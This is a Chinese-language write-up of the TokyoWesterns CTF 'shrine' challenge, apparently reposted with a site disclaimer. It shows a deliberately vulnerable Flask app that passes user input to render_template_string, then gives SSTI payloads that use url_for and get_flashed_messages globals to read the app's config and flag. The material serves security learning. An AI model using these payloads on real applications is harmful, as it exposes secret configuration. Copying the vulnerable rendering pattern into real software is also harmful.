【TokyoWesterns CTF】shrine


信息:

題目來源:TokyoWesterns CTF

標簽:flaskSSTI

解題過程

構建題目環境后,訪問主頁可以獲得程序源碼:

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self'] 
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

分析代碼:

  1. 程序綁定了兩個web頁面;
  2. 訪問根目錄會得到程序源代碼;
  3. shrine目錄下存在渲染模板的函數,有可能是突破口;
  4. FLAG存在flask框架的config文件中;
  5. 對於輸入的部分有過濾

進行簡單的測試:

shrine1

但是發現代碼會將(,)替換為空格。拼接到{% set config=None%}{% set self=None%}后。

並將selfconfig設置為黑名單。

如果沒有黑名單的時候,我們可以傳入 config,或者傳入{{self.__dict__}}獲取,但當這些被過濾的時候,我們需要借助一些全局變量利用沙箱逃逸的方法,來調用被禁用的函數對象。

大佬的經驗如下:

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

使用前兩條payload都可以得到flag。

參考

CTF|有關SSTI的一切小秘密【Flask SSTI+姿勢集+Tplmap大殺器】


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM